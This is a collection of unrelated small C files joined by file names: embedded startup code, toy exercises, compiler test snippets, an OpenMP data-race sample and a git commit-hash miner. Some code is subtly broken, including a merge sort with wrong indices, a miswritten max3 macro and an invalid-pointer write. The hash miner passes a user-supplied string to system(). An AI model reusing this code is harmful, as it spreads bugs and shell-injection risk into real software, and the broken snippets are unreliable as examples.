/* ******************************************************************************* * Copyright (c) 2020-2021, STMicroelectronics * All rights reserved. * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ******************************************************************************* */ #if defined(ARDUINO_GENERIC_L452VCIX) || defined(ARDUINO_GENERIC_L452VCTX) ||\ defined(ARDUINO_GENERIC_L452VEIX) || defined(ARDUINO_GENERIC_L452VETX) ||\ defined(ARDUINO_GENERIC_L462VEIX) || defined(ARDUINO_GENERIC_L462VETX) #include "pins_arduino.h" /** * @brief System Clock Configuration * @param None * @retval None */ WEAK void SystemClock_Config(void) { /* SystemClock_Config can be generated by STM32CubeMX */ #warning "SystemClock_Config() is empty. Default clock at reset is used." } #endif /* ARDUINO_GENERIC_* */

the_stack_data/775479.c

#include <stdio.h> int main() { int p, n, i, imenor, menor; scanf("%d", &n); scanf("%d", &menor); imenor = 1; for (i = 2; i <= n; i++) { scanf("%d", &p); if (p < menor) { menor = p; imenor = i; } } printf("%d\n", imenor); return 0; }

the_stack_data/633908.c

#include <stdio.h> #include <stdlib.h> void scilab_rt_interp1_i2i2d0_d0(int sin00, int sin01, int in0[sin00][sin01], int sin10, int sin11, int in1[sin10][sin11], double in2, double* out0) { int i; int j; int val0 = 0; int val1 = 0; for (i = 0; i < sin00; ++i) { for (j = 0; j < sin01; ++j) { val0 += in0[i][j]; } } for (i = 0; i < sin10; ++i) { for (j = 0; j < sin11; ++j) { val1 += in1[i][j]; } } *out0 = val0 + val1 + in2; }

the_stack_data/43888551.c

/** * RISC-V bootup test * Author: Daniele Lacamera <[email protected]> * * MIT License * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include <stdint.h> extern void trap_entry(void); extern void trap_exit(void); extern uint32_t _start_vector; extern uint32_t _stored_data; extern uint32_t _start_data; extern uint32_t _end_data; extern uint32_t _start_bss; extern uint32_t _end_bss; extern uint32_t _end_stack; extern uint32_t _start_heap; extern uint32_t _global_pointer; extern void (* const IV[])(void); static int zeroed_variable_in_bss; static int initialized_variable_in_data = 42; extern void main(void); void __attribute__((section(".init"),naked)) _reset(void) { register uint32_t *src, *dst; asm volatile("la gp, _global_pointer"); asm volatile("la sp, _end_stack"); /* Set up vectored interrupt, with IV starting at offset 0x100 */ asm volatile("csrw mtvec, %0":: "r"((uint8_t *)(&_start_vector) + 1)); src = (uint32_t *) &_stored_data; dst = (uint32_t *) &_start_data; /* Copy the .data section from flash to RAM. */ while (dst < (uint32_t *)&_end_data) { *dst = *src; dst++; src++; } /* Initialize the BSS section to 0 */ dst = &_start_bss; while (dst < (uint32_t *)&_end_bss) { *dst = 0U; dst++; } /* Run the program! */ main(); } static uint32_t synctrap_cause = 0; void isr_synctrap(void) { asm volatile("csrr %0,mcause" : "=r"(synctrap_cause)); asm volatile("ebreak"); } void isr_empty(void) { } void __attribute__((weak)) isr_vmsi(void) { /* panic */ while(1); } void __attribute__((weak)) isr_vmti(void) { /* panic */ while(1); } void __attribute__((weak)) isr_vmei(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq0(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq1(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq2(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq3(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq4(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq5(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq6(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq7(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq8(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq9(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq10(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq11(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq12(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq13(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq14(void) { /* panic */ while(1); } void __attribute__((weak)) isr_irq15(void) { /* panic */ while(1); }

the_stack_data/840715.c

void printf(); int main () { int j; int i; j = (i = 3) ? 4 : 5; printf ("i=%d, j=%d\n",i,j); return (j?0:j-j); }

the_stack_data/70449593.c

#include <stdio.h> #include <stdlib.h> // for malloc #include <stdint.h> // for uint_t #include <time.h> // for clock() #include <assert.h> // for assert void merge(uint64_t* data,uint32_t l,uint32_t m, uint32_t r){ uint32_t n1 = m - l + 1; uint32_t n2 = r - m; uint64_t* arr1 = (uint64_t*) malloc(sizeof(uint64_t) * n1); uint64_t* arr2 = (uint64_t*) malloc(sizeof(uint64_t) * n2); for(int i = 0;i < n1; ++i){ arr1[i] = data[i]; } for(int i = 0;i < n2; ++i){ arr2[i] = data[m + 1 + i]; } int i = 0; int j = 0; int k = l; while(i < n1 && j < n2){ if(arr1[i] <= arr2[j]){ data[k] = arr1[i]; ++i; }else{ data[k] = arr2[j]; ++j; } ++k; } while(i < n1){ data[k] = arr1[i]; ++i; ++k; } while(j < n2){ data[k] = arr2[i]; ++j; ++k; } free(arr1); free(arr2); } void merge_sort(uint64_t* data, uint32_t l, uint32_t r){ if(l < r){ int m = l + (r -l) /2; merge_sort(data,l,m); merge_sort(data,m+1,r); merge(data,l,m,r); } } void test(uint64_t* array, const uint32_t size){ clock_t start, end; start = clock(); merge_sort(array,0,size); for(int i = 0; i < size; ++i){ printf("%d\n", array[i]); } end = clock(); printf("Sorting took %f seconds\n", ((double) (end - start)) / CLOCKS_PER_SEC); } int main(int argc, char * argv[]){ FILE * input = fopen(argv[1], "r"); uint32_t filesize = 50, size = 0; uint64_t last; uint64_t* file_array = (uint64_t*) malloc(sizeof(uint64_t) * filesize); (void)fscanf(input, "%ld", &last); while (!feof(input)) { if(size >= filesize){ filesize+=30; file_array = (uint64_t*)realloc(file_array, sizeof(uint64_t) * (filesize)); } file_array[size] = last; size++; (void)fscanf(input, "%ld", &last); } test(file_array, size); fclose(input); free(file_array); return 0; }

the_stack_data/85134.c

#include <stdio.h> int main(int argc, char* argv[]) { long* invalid_ptr = (long*)0x123; *invalid_ptr = 0x12345678l; return 0; }

the_stack_data/57949094.c

#include <stdio.h> int main(int argc, char const *argv[]) { int n, i, m = 0, z = 1; printf("Enter the no:"); scanf("%d", &n); while (1) { m = 0; for (i = 1; i <= 20; i++) { if (n % i != 0) { m++; break; } } if (m == 0) { printf("%d", n); break; } n = n + 10; } return 0; }

the_stack_data/231392991.c

#include <stdio.h> #include <stdarg.h> #include <string.h> #include <stddef.h> #include <stdint.h> #define FIRST_ARG_(A, ...) A #define FIRST_ARG(args) FIRST_ARG_ args #define SECOND_ARG_(A, B, ...) B #define SECOND_ARG(args) SECOND_ARG_ args #define THIRD_ARG_(A, B, C, ...) C #define THIRD_ARG(args) THIRD_ARG_ args #define max2(...) \ ({ \ __typeof__((FIRST_ARG_(__VA_ARGS__))) _a = FIRST_ARG((__VA_ARGS__)); \ __typeof__((SECOND_ARG_(__VA_ARGS__))) _b = SECOND_ARG((__VA_ARGS__)); \ _a > _b ? _a : _b; \ }) #define max3(...) \ ({ \ __typeof__((FIRST_ARG_(__VA_ARGS__))) _a = FIRST_ARG((__VA_ARGS__)); \ __typeof__((SECOND_ARG_(__VA_ARGS__))) _b = SECOND_ARG((__VA_ARGS__)); \ __typeof__((THIRD_ARG_(__VA_ARGS__))) _c = THIRD_ARG((__VA_ARGS__)); \ max2(max2(a, b), c); \ }) #define _MAX_OVERRIDE(_1, _2, _3, NAME, ...) NAME #define max(...) _MAX_OVERRIDE( \ __VA_ARGS__, \ max3, \ max2 \ )(__VA_ARGS__) int main(void) { int a = 7, b = 33, c = 77; void *max_val; int *p1 = &b; int *p2 = &a; char const *s1 = "David"; char const *s2 = "Nico"; max_val = max(a, b); printf("max_val = %d\n", (__typeof__(a))max_val); max_val = max(s1, s2); printf("max_val = %s\n", (__typeof__(s1))max_val); max_val = max(a, b, c); printf("max_val = %d\n", (__typeof__(a))max_val); max_val = max(p1, p2); printf("max_val = 0x%x\n", (__typeof__(p1))max_val); return 0; }

the_stack_data/879297.c

#include <stdio.h> int fib(int n) { if (n <= 1) { return n; } return fib(n - 1) + fib(n - 2); } int main(void) { int a; scanf("%d", &a); int fib_number = fib(a); printf("fib number is %d", fib_number); return 0; }

the_stack_data/48574952.c

int abs ( int v ) { if ( v < 0 ) { return -v; } else { return v; } }

the_stack_data/9511580.c

const char* b = "hello";

the_stack_data/104809.c

#include<stdio.h> int main() { char*ptr = "!Hello!"; printf("%c",*&*&*ptr); return 0; } /* *Output:! */

the_stack_data/65472.c

#include <stdbool.h> double function() { return false; }

the_stack_data/42334.c

// RUN: clang-cc -E -dD < %s | grep stdin | grep -v define #define A A /* 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 */ #define B B

the_stack_data/117327068.c

#define _POSIX_C_SOURCE 200809L #include <getopt.h> #include <openssl/sha.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> void print_help() { printf("mine-git-hash - Mine git commit hashes\n\ \n\ USE:\n\ \n\ mine-git-hash [OPTION...] PREFIX\n\ \n\ The program must be run in the directory of a Git project.\n\ \n\ OPTIONS:\n\ \n\ -h Print help and exit\n\ -d Debug mode; do not make any changes to the Git repo\n\ -z=ZEROS Number of leading zeros to look for. Default: 10\n\ -t=SECONDS Timeout. Default: 60 seconds\n\ -p=THREADS Number of threads to use. Default: 1\n\ \n\ A timeout of 0 seconds means there is no timeout.\n\ "); } void copy(char** newblob, char* line, size_t length, size_t n) { for (int i = 0; i < n; i++) { (*newblob)[i + length] = line[i]; } } char* get_blob(FILE* fh) { char* blob = NULL; size_t length = 0; char* line = NULL; size_t n = 0; while (getline(&line, &n, fh) != -1) { char* newblob = realloc(blob, length + strlen(line)); copy(&newblob, line, length, strlen(line)); blob = newblob; length += strlen(line); } char* newblob = realloc(blob, ++length); blob = newblob; blob[length] = '\0'; return blob; } void split_blob(char* blob, char** head, char** tail) { int i; for (i = 0; i < strlen(blob) - 1; i++) { if (blob[i] == '\n' && blob[i + 1] == '\n') { break; } } char* nhead = malloc(sizeof(char) * (i + 1)); if (!nhead) { return; } for (int j = 0; j < i; j++) { nhead[j] = blob[j]; } nhead[i] = '\0'; *head = nhead; char* ntail = malloc(sizeof(char) * (strlen(blob) - i + 1)); if (!ntail) { return; } for (int j = i + 2; j < strlen(blob); j++) { ntail[j - i - 2] = blob[j]; } ntail[strlen(blob) - i] = '\0'; *tail = ntail; } size_t write_commit_object(unsigned long long nonce, char* prefix, char* head, char* tail, char** annotation, char** preamble, char** message) { if (prefix) { sprintf(*annotation, "%s %llu", prefix, nonce); } else { sprintf(*annotation, "%llu", nonce); } size_t len = strlen(head) + 1 + strlen(*annotation) + 2 + strlen(tail); sprintf(*preamble, "commit %d", len); size_t i = -1; for (int j = 0; j < strlen(*preamble); j++) { (*message)[++i] = (*preamble)[j]; } (*message)[++i] = '\0'; for (int j = 0; j < strlen(head); j++) { (*message)[++i] = head[j]; } (*message)[++i] = '\n'; for (int j = 0; j < strlen(*annotation); j++) { (*message)[++i] = (*annotation)[j]; } (*message)[++i] = '\n'; (*message)[++i] = '\n'; for (int j = 0; j < strlen(tail); j++) { (*message)[++i] = tail[j]; } (*message)[++i] = '\0'; return i; } int leading_zeros(unsigned char* digest) { int zeros = 0; for (int i = 0; i < SHA_DIGEST_LENGTH; i++) { if (digest[i] == 0) { zeros++; zeros++; } else if ((digest[i] & 0xF0) == 0) { zeros++; break; } else { break; } } return zeros; } int* keep_going; void signal_int(int signum) { *keep_going = 0; } struct Setup { char* head; char* tail; char* prefix; int timeout; int zeros; int partition; int threads; }; struct Return { int zeros; unsigned long long nonce; }; void* mine(void* setup_ptr) { struct Setup* setup = (struct Setup*)setup_ptr; char* preamble = malloc(sizeof(char) * 256); char* annotation = malloc(sizeof(char) * 256); char* message = malloc(sizeof(char) * (strlen(setup->head) + strlen(setup->tail) + 1024)); unsigned char digest[SHA_DIGEST_LENGTH]; if (!(preamble && annotation && message)) { perror("Failed to allocate memory for commit object"); exit(EXIT_FAILURE); } struct Return* ret = malloc(sizeof(struct Return)); ret->zeros = 0; ret->nonce = 0; unsigned long long nonce = setup->partition; int increment = setup->threads; time_t start = time(NULL); while ((setup->timeout && time(NULL) - start < setup->timeout) &&\ ret->zeros < setup->zeros &&\ *keep_going) { size_t length = write_commit_object(nonce, setup->prefix, setup->head, setup->tail, &annotation, &preamble, &message); SHA1(message, length, digest); int zs = leading_zeros(digest); if (zs > ret->zeros) { ret->zeros = zs; ret->nonce = nonce; fprintf(stderr, "Worker %d: Found %d zeros after %d seconds with nonce '%s %llu'\n", setup->partition + 1, ret->zeros, time(NULL) - start, setup->prefix, ret->nonce); } nonce += increment; } return ret; } int main(int argc, char** argv) { keep_going = malloc(sizeof(int)); *keep_going = 1; signal(SIGINT, signal_int); int opt; int zeros = 10; int timeout = 60; int threads = 1; int debug = 0; while ((opt = getopt(argc, argv, "hdz:t:p:")) != -1) { switch (opt) { case 'h': print_help(); exit(EXIT_SUCCESS); case 'z': zeros = atoi(optarg); break; case 't': timeout = atoi(optarg); break; case 'd': debug = 1; break; case 'p': threads = atoi(optarg); break; default: print_help(); exit(EXIT_FAILURE); } } if (optind == argc) { printf("PREFIX argument is required\n\n"); print_help(); exit(EXIT_FAILURE); } char* prefix = argv[optind]; FILE* fh = popen("git cat-file commit HEAD", "r"); if (!fh) { perror("Couldn't run git command"); exit(EXIT_FAILURE); } char* blob = get_blob(fh); if (!blob) { perror("Failed to get blob"); exit(EXIT_FAILURE); } if (pclose(fh)) { perror("Git command failed"); exit(EXIT_FAILURE); } char* head; char* tail; split_blob(blob, &head, &tail); if (!(head && tail)) { perror("Failed to allocate memory to split commit object"); exit(EXIT_FAILURE); } struct Setup setup = { .head = head, .tail = tail, .prefix = prefix, .timeout = timeout, .zeros = zeros, .threads = threads }; pthread_t pthreads[threads]; struct Setup setups[threads]; for (int partition = 0; partition < threads; partition++) { setups[partition] = setup; setups[partition].partition = partition; pthread_create(&pthreads[partition], NULL, mine, &setups[partition]); } void* res = NULL; unsigned long long best_nonce = 0; int best_zeros = 0; for (int partition = 0; partition < threads; partition++) { pthread_join(pthreads[partition], &res); struct Return *ret = (struct Return*)res; if (ret->zeros > best_zeros) { best_zeros = ret->zeros; best_nonce = ret->nonce; } } if (debug) { printf("Best zeros: %d\n", best_zeros); printf("Best nonce: %llu\n", best_nonce); } else { char* cmd = malloc(sizeof(char) * (strlen(prefix) + 256)); sprintf(cmd, "git-commit-annotate --annotate '%s %llu'", prefix, best_nonce); exit(system(cmd)); } exit(EXIT_SUCCESS); }

the_stack_data/14199561.c

int foo(); int main(){ return foo();}

the_stack_data/346643.c

/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Two-dimensional array computation: Only one loop is associated with the omp for construct. The inner loop's loop iteration variable needs an explicit private() clause, otherwise it will be shared by default. */ #include <stdio.h> #include <stdlib.h> int a[100][100]; int main() { int i,j; #pragma omp parallel for private(j) for (i=0;i<100;i++) #pragma omp parallel for simd for (j=0;j<100;j++) a[i][j]= i * 200 + j; #pragma omp parallel for private(j) for (i=0;i<100;i++) #pragma omp parallel for simd for (j=0;j<100;j++) a[i][j]=a[i][j]+1; #pragma omp parallel for private(j) ordered for (i=0;i<100;i++) #pragma omp parallel for simd ordered for (j=0;j<100;j++) #pragma omp ordered simd printf("%d", a[i][j]); return 0; }